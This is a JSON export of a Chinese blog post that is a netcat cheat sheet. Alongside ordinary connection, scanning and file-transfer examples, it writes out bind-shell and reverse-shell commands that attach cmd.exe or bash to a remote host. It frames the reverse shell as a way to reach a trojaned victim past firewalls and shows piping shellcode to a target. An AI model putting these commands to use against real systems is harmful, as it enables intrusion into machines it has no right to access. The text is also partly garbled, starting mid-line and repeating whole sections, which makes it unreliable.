{"id":89,"date":"2010-04-04T08:00:00","date_gmt":"2010-04-04T00:00:00","guid":{"rendered":"http:\/\/31.0.2.219:81\/?p=89"},"modified":"2014-03-11T17:05:03","modified_gmt":"2014-03-11T09:05:03","slug":"nc-%e4%bd%bf%e7%94%a8%e8%af%b4%e6%98%8e","status":"publish","type":"post","link":"http:\/\/www.huike007.cn\/?p=89","title":{"rendered":"nc \u4f7f\u7528\u8bf4\u660e"},"content":{"rendered":"

e prog \u7a0b\u5e8f\u91cd\u5b9a\u5411\uff0c\u4e00\u65e6\u8fde\u63a5\uff0c\u5c31\u6267\u884c [\u5371\u9669!!]
\n-h \u5e2e\u52a9\u4fe1\u606f
\n-l \u76d1\u542c\u6a21\u5f0f\uff0c\u7528\u4e8e\u5165\u7ad9\u8fde\u63a5
\n-n \u6307\u5b9a\u6570\u5b57\u7684IP\u5730\u5740\uff0c\u4e0d\u80fd\u7528hostname
\n-o file \u8bb0\u5f5516\u8fdb\u5236\u7684\u4f20\u8f93
\n-p port \u672c\u5730\u7aef\u53e3\u53f7
\n-r \u4efb\u610f\u6307\u5b9a\u672c\u5730\u53ca\u8fdc\u7a0b\u7aef\u53e3
\n-s addr \u672c\u5730\u6e90\u5730\u5740
\n-u UDP\u6a21\u5f0f
\n-v \u8be6\u7ec6\u8f93\u51fa\u2014\u2014\u7528\u4e24\u4e2a-v\u53ef\u5f97\u5230\u66f4\u8be6\u7ec6\u7684\u5185\u5bb9
\n-w secs timeout\u7684\u65f6\u95f4
\n-z \u5c06\u8f93\u5165\u8f93\u51fa\u5173\u6389\u2014\u2014\u7528\u4e8e\u626b\u63cf\u65f6
\n\u4e00.\u5ba2\u6237\u7aef–\u63d0\u4ea4\u6570\u636e
\n\u8fd9\u662f\u6700\u7b80\u5355\u7684\u4f7f\u7528\u65b9\u5f0f,nc \nD:\\Hacktools>nc -vv www.hacker.com.cn 80
\nWarning: inverse host lookup failed for 211.157.102.232: h_errno 11004: NO_DATA
\nwww.hacker.com.cn [211.157.102.232] 80 (http) open
\nget \/ http\/1.1
\nHTTP\/1.1 400 Bad Request
\nServer: Microsoft-IIS\/5.0
\nDate: Sat, 19 Mar 2005 18:57:40 GMT
\nContent-Type: text\/html
\nContent-Length: 87
\nError<\/title><\/head><body>The parameter is incorrect. <\/body><br \/>\n<\/html><br \/>\n\u4e8c.\u7b80\u5355\u670d\u52a1\u5668<br \/>\nnc -l -p <portnumber> \/\/\u8fd9\u91cc-l\u53c2\u6570\u8868\u660enc\u5904\u4e8e\u76d1\u542c\u6a21\u5f0f,-p\u6307\u5b9a\u7aef\u53e3\u53f7.<br \/>\nnc -l -p 1234[\u5047\u8bbe\u8fd9\u53f0\u4e3b\u673aip\u4e3a127.0.0.1<br \/>\n\u7136\u540e\u4ece\u5ba2\u6237\u7aef\u8f93\u5165,nc 127.0.0.1 1234 \u7136\u540e\u4f60\u4ece\u4efb\u4e00\u7aef\u8f93\u5165\u7684\u6570\u636e\u5c31\u4f1a\u663e\u793a\u5728\u53e6\u4e00\u7aef\u4e86.<br \/>\n\u4e09.telnet\u670d\u52a1\u5668<br \/>\nnc\u6709\u4e00\u4e2a-e\u7684\u9009\u9879,\u7528\u6765\u6307\u5b9a\u5728\u8fde\u63a5\u540e\u6267\u884c\u7684\u7a0b\u5e8f.<br \/>\n\u5728windows\u5e73\u53f0\u4e0a\u53ef\u4ee5\u6307\u5b9a-e cmd.exe[winxp,win2000,]\u5982\u679c\u662f98\u5c31\u6307\u5b9acommand.exe.linux<br \/>\n\u5219\u6307\u5b9a-e bash<br \/>\n\u6307\u5b9a-e\u7684\u6548\u679c\u662f\u7531\u4f60\u6307\u5b9a\u7684\u7a0b\u5e8f\u4ee3\u66ff\u4e86nc\u81ea\u5df1\u6765\u63a5\u53d7\u53e6\u4e00\u7aef\u7684\u8f93\u5165,\u5e76\u628a\u8f93\u5165(\u547d\u4ee4)\u540e\u53cd\u9988\u7684<br \/>\n\u7ed3\u679c\u663e\u793a\u5230\u53e6\u4e00\u7aef.<br \/>\nserver(\u8fdc\u7a0b\u673a\u5668): nc -l -p 1234 -e cmd.exe<br \/>\nclient(\u672c\u5730\u673a\u5668): nc 192.168.0.1 1234 \u5c31\u53ef\u4ee5\u8fdc\u7a0b\u767b\u9646server\u4e86<br \/>\n\u56db.\u53cd\u5411\u8fde\u63a5\uff1a<br \/>\n\u4ec0\u4e48\u53eb\u53cd\u5f39\u7aef\u53e3\uff1f\u5c31\u662f\u8bf4\uff0c\u5f53\u5bf9\u65b9\u4e2d\u9a6c\u540e\uff0c\u4e0d\u7528\u4f60\u4e3b\u52a8\u548c\u5bf9\u65b9\u8fde\u63a5\uff0c\u4e5f\u5c31\u662f\u8bf4<br \/>\n\u4e0d\u7528\u4ece\u4f60\u7684client\u7aef\u5411\u5bf9\u65b9\u4e3b\u673a\u4e0a\u8fd0\u884c\u7684server\u7aef\u53d1\u9001\u8bf7\u6c42\u8fde\u63a5\uff0c\u800c\u662f\u5bf9\u65b9\u4e3b\u52a8\u6765\u8fde\u63a5\u4f60<br \/>\n\u8fd9\u6837\u5c31\u53ef\u4ee5\u4f7f\u5f88\u591a\u9632\u706b\u5899\u5931\u6548\uff0c\u56e0\u4e3a\u5f88\u591a\u9632\u706b\u5899\u90fd\u4e0d\u68c0\u67e5\u51fa\u7ad9\u8bf7\u6c42\u7684\u3002<br \/>\nserver:nc -e cmd.exe 127.0.0.1 1234<br \/>\nclient: nc -l -p 1234<br \/>\n\u4e94.\u6587\u4ef6\u4f20\u8f93\uff1a<br \/>\n\u529f\u80fd\u5f3a\u5927\u7684\u7f51\u7edc\u5de5\u5177\uff0c\u53ea\u8981\u4f60\u53d1\u6325\u60f3\u8c61\u529b\uff0c\u4f60\u53ef\u4ee5\u505a\u4efb\u4f55\u4e8b\u60c5\uff01<br \/>\nP2P\u4e4b\u95f4\u7ecf\u5e38\u7528OICQ\u3001MSN\u4f20\u6587\u4ef6\uff0c\u662f\u633a\u65b9\u4fbf\uff0c\u4f46\u54ea\u8c61\u662f\u9ad8\u624b\u7684\u505a\u6cd5\uff1f<br \/>\n\u53d1\u9001\u65b9\uff1a<br \/>\nnc -nvv -l -w 5 -p 1234 -s 127.0.0.1 < file.zip\n\u63a5\u53d7\u65b9\uff1a\nnc -nvv 127.0.0.1 1234 > file.zip<br \/>\n\u63a5\u53d7\u65b9\u6ca1\u6709\u88c5nc\uff1f\u90a3\u5c31\u7528IE\u7f57\uff1a<br \/>\nhttp:\/\/127.0.0.1:1234\/t.zip<br \/>\n\u516d.\u626b\u63cf\u7aef\u53e3<br \/>\nnc -z -w 2 -v -v www.somewhere.com port[,port[,port-port]]<br \/>\n-z \u6307\u5b9azero-I\/O \u6a21\u5f0f,\u5b83\u8ba9netcat\u7981\u6b62\u4efb\u4f55\u6765\u81ea\u6e90\u7cfb\u7edf\u7684I\/O,\u5982\u679c\u4e0d\u6307\u5b9a\u5b83,netcat\u4f1a\u65e0\u9650<br \/>\n\u671f\u7684\u6302\u8d77\u7aef\u53e3.\u6240\u4ee5\u5728\u7f51\u7edc\u626b\u63cf\u65f6\u8981\u6307\u5b9a-z\u9009\u9879.<br \/>\n-w \u6307\u5b9a\u8d85\u65f6\u65f6\u95f4,\u5355\u4f4d\u4e3a\u79d2<br \/>\n-v \u8be6\u7ec6\u6a21\u5f0f<br \/>\n\u4f8b: nc -z -w 2 -v -v www.somewhere.com 20-30,80,100-112,443<br \/>\nnc.exe -h\u5373\u53ef\u770b\u5230\u5404\u53c2\u6570\u7684\u4f7f\u7528\u65b9\u6cd5\u3002<br \/>\n\u57fa\u672c\u683c\u5f0f\uff1anc [-options] hostname port[s] [ports] …<br \/>\nnc -l -p port [options] [hostname] [port]<br \/>\n-d \u540e\u53f0\u6a21\u5f0f<br \/>\n-e prog \u7a0b\u5e8f\u91cd\u5b9a\u5411\uff0c\u4e00\u65e6\u8fde\u63a5\uff0c\u5c31\u6267\u884c [\u5371\u9669!!]<br \/>\n-g gateway source-routing hop point[s], up to 8<br \/>\n-G num source-routing pointer: 4, 8, 12, …<br \/>\n-h \u5e2e\u52a9\u4fe1\u606f<br \/>\n-i secs \u5ef6\u65f6\u7684\u95f4\u9694<br \/>\n-l \u76d1\u542c\u6a21\u5f0f\uff0c\u7528\u4e8e\u5165\u7ad9\u8fde\u63a5<br \/>\n-L \u8fde\u63a5\u5173\u95ed\u540e,\u4ecd\u7136\u7ee7\u7eed\u76d1\u542c<br \/>\n-n \u6307\u5b9a\u6570\u5b57\u7684IP\u5730\u5740\uff0c\u4e0d\u80fd\u7528hostname<br \/>\n-o file \u8bb0\u5f5516\u8fdb\u5236\u7684\u4f20\u8f93<br \/>\n-p port \u672c\u5730\u7aef\u53e3\u53f7<br \/>\n-r \u968f\u673a\u672c\u5730\u53ca\u8fdc\u7a0b\u7aef\u53e3<br \/>\n-s addr \u672c\u5730\u6e90\u5730\u5740<br \/>\n-t \u4f7f\u7528TELNET\u4ea4\u4e92\u65b9\u5f0f<br \/>\n-u UDP\u6a21\u5f0f<br \/>\n-v \u8be6\u7ec6\u8f93\u51fa–\u7528\u4e24\u4e2a-v\u53ef\u5f97\u5230\u66f4\u8be6\u7ec6\u7684\u5185\u5bb9<br \/>\n-w secs timeout\u7684\u65f6\u95f4<br \/>\n-z \u5c06\u8f93\u5165\u8f93\u51fa\u5173\u6389–\u7528\u4e8e\u626b\u63cf\u65f6<br \/>\n\u7aef\u53e3\u7684\u8868\u793a\u65b9\u6cd5\u53ef\u5199\u4e3aM-N\u7684\u8303\u56f4\u683c\u5f0f\u3002<br \/>\n================================================================<br \/>\n\u57fa\u672c\u7528\u6cd5\uff1a<br \/>\n\u5927\u6982\u6709\u4ee5\u4e0b\u51e0\u79cd\u7528\u6cd5\uff1a<br \/>\n1)\u8fde\u63a5\u5230REMOTE\u4e3b\u673a\uff0c\u4f8b\u5b50\uff1a<br \/>\n\u683c\u5f0f\uff1anc -nvv 192.168.x.x 80<br \/>\n\u8bb2\u89e3\uff1a\u8fde\u5230192.168.x.x\u7684TCP80\u7aef\u53e3<br \/>\n2)\u76d1\u542cLOCAL\u4e3b\u673a\uff0c\u4f8b\u5b50\uff1a<br \/>\n\u683c\u5f0f\uff1anc -l -p 80<br \/>\n\u8bb2\u89e3\uff1a\u76d1\u542c\u672c\u673a\u7684TCP80\u7aef\u53e3<br \/>\n3)\u626b\u63cf\u8fdc\u7a0b\u4e3b\u673a\uff0c\u4f8b\u5b50\uff1a<br \/>\n\u683c\u5f0f\uff1anc -nvv -w2 -z 192.168.x.x 80-445<br \/>\n\u8bb2\u89e3\uff1a\u626b\u63cf192.168.x.x\u7684TCP80\u5230TCP445\u7684\u6240\u6709\u7aef\u53e3<br \/>\n4)REMOTE\u4e3b\u673a\u7ed1\u5b9aSHELL\uff0c\u4f8b\u5b50\uff1a<br \/>\n\u683c\u5f0f\uff1anc -l -p 5354 -t -e c:\\winnt\\system32\\cmd.exe<br \/>\n\u8bb2\u89e3\uff1a\u7ed1\u5b9aREMOTE\u4e3b\u673a\u7684CMDSHELL\u5728REMOTE\u4e3b\u673a\u7684TCP5354\u7aef\u53e3<br \/>\n5)REMOTE\u4e3b\u673a\u7ed1\u5b9aSHELL\u5e76\u53cd\u5411\u8fde\u63a5\uff0c\u4f8b\u5b50\uff1a<br \/>\n\u683c\u5f0f\uff1anc -t -e c:\\winnt\\system32\\cmd.exe 192.168.x.x 5354<br \/>\n\u8bb2\u89e3\uff1a\u7ed1\u5b9aREMOTE\u4e3b\u673a\u7684CMDSHELL\u5e76\u53cd\u5411\u8fde\u63a5\u5230192.168.x.x\u7684TCP5354\u7aef\u53e3<br \/>\n\u4ee5\u4e0a\u4e3a\u6700\u57fa\u672c\u7684\u51e0\u79cd\u7528\u6cd5\uff08\u5176\u5b9eNC\u7684\u7528\u6cd5\u8fd8\u6709\u5f88\u591a\uff0c<br \/>\n\u5f53\u914d\u5408\u7ba1\u9053\u547d\u4ee4\u201c|\u201d\u4e0e\u91cd\u5b9a\u5411\u547d\u4ee4\u201c<\u201d\u3001\u201c>\u201d\u7b49\u7b49\u547d\u4ee4\u529f\u80fd\u66f4\u5f3a\u5927……\uff09\u3002<br \/>\n==============================================================<br \/>\n\u9ad8\u7ea7\u7528\u6cd5\uff1a<br \/>\n6)\u4f5c\u653b\u51fb\u7a0b\u5e8f\u7528\uff0c\u4f8b\u5b50\uff1a<br \/>\n\u683c\u5f0f1\uff1atype.exe c:exploit.txt|nc -nvv 192.168.x.x 80<br \/>\n\u683c\u5f0f2\uff1anc -nvv 192.168.x.x 80 < c:exploit.txt\n\u8bb2\u89e3\uff1a\u8fde\u63a5\u5230192.168.x.x\u768480\u7aef\u53e3\uff0c\u5e76\u5728\u5176\u7ba1\u9053\u4e2d\u53d1\u9001c:exploit.txt\u7684\u5185\u5bb9(\u4e24\u79cd\u683c\u5f0f\u786e\u6709\u76f8\u540c\u7684\u6548\u679c\uff0c\n\u771f\u662f\u6709\u5f02\u66f2\u540c\u5de5\u4e4b\u5999:P)\n\u9644\uff1ac:exploit.txt\u4e3ashellcode\u7b49\n7)\u4f5c\u871c\u7f50\u7528[1]\uff0c\u4f8b\u5b50\uff1a\n\u683c\u5f0f\uff1anc -L -p 80\n\u8bb2\u89e3\uff1a\u4f7f\u7528-L(\u6ce8\u610fL\u662f\u5927\u5199)\u53ef\u4ee5\u4e0d\u505c\u5730\u76d1\u542c\u67d0\u4e00\u4e2a\u7aef\u53e3\uff0c\u76f4\u5230ctrl+c\u4e3a\u6b62\n8)\u4f5c\u871c\u7f50\u7528[2]\uff0c\u4f8b\u5b50\uff1a\n\u683c\u5f0f\uff1anc -L -p 80 > c:log.txt<br \/>\n\u8bb2\u89e3\uff1a\u4f7f\u7528-L\u53ef\u4ee5\u4e0d\u505c\u5730\u76d1\u542c\u67d0\u4e00\u4e2a\u7aef\u53e3\uff0c\u76f4\u5230ctrl+c\u4e3a\u6b62\uff0c\u540c\u65f6\u628a\u7ed3\u679c\u8f93\u51fa\u5230c:log.txt\u4e2d\uff0c\u5982\u679c\u628a\u2018>\u2019<br \/>\n\u6539\u4e3a\u2018>>\u2019\u5373\u53ef\u4ee5\u8ffd\u52a0\u65e5\u5fd7<br \/>\n\u9644\uff1ac:log.txt\u4e3a\u65e5\u5fd7<br \/>\n9)\u4f5c\u871c\u7f50\u7528[3]\uff0c\u4f8b\u5b50\uff1a<br \/>\n\u683c\u5f0f1\uff1anc -L -p 80 < c:honeypot.txt\n\u683c\u5f0f2\uff1atype.exe c:honeypot.txt|nc -L -p 80\n\u8bb2\u89e3\uff1a\u4f7f\u7528-L\u53ef\u4ee5\u4e0d\u505c\u5730\u76d1\u542c\u67d0\u4e00\u4e2a\u7aef\u53e3\uff0c\u76f4\u5230ctrl+c\u4e3a\u6b62\uff0c\u5e76\u628ac:honeypot.txt\u7684\u5185\u5bb9\u2018\u9001\u2019\u5165\u5176\n\u7ba1\u9053\u4e2d\u2019\u5373\u53ef\u4ee5\u8ffd\u52a0\u65e5\u5fd7\n\u9644\uff1ac:log.txt\u4e3a\u65e5\u5fd7\u7b49\n9)\u4f5c\u871c\u7f50\u7528[3]\uff0c\u4f8b\u5b50\uff1a\n\u683c\u5f0f1\uff1anc -L -p 80 < c:honeypot.txt\n\u683c\u5f0f2\uff1atype.exe c:honeypot.txt|nc -L -p 80\n\u8bb2\u89e3\uff1a\u4f7f\u7528-L\u53ef\u4ee5\u4e0d\u505c\u5730\u76d1\u542c\u67d0\u4e00\u4e2a\u7aef\u53e3\uff0c\u76f4\u5230ctrl+c\u4e3a\u6b62\uff0c\u5e76\u628ac:honeypot.txt\u7684\u5185\u5bb9\u2018\u9001\u2019\u5165\u5176\n\u7ba1\u9053\u4e2d \n\n<\/p>\n","protected":false},"excerpt":{"rendered":"<p>e prog \u7a0b\u5e8f\u91cd\u5b9a\u5411\uff0c\u4e00\u65e6\u8fde\u63a5\uff0c\u5c31\u6267\u884c [\u5371\u9669!!] -h \u5e2e\u52a9\u4fe1\u606f -l \u76d1\u542c\u6a21\u5f0f\uff0c\u7528\u4e8e\u5165\u7ad9\u8fde\u63a5 -n […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[179],"tags":[343],"_links":{"self":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/89"}],"collection":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=89"}],"version-history":[{"count":1,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions"}],"predecessor-version":[{"id":374,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions\/374"}],"wp:attachment":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=89"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=89"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=89"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}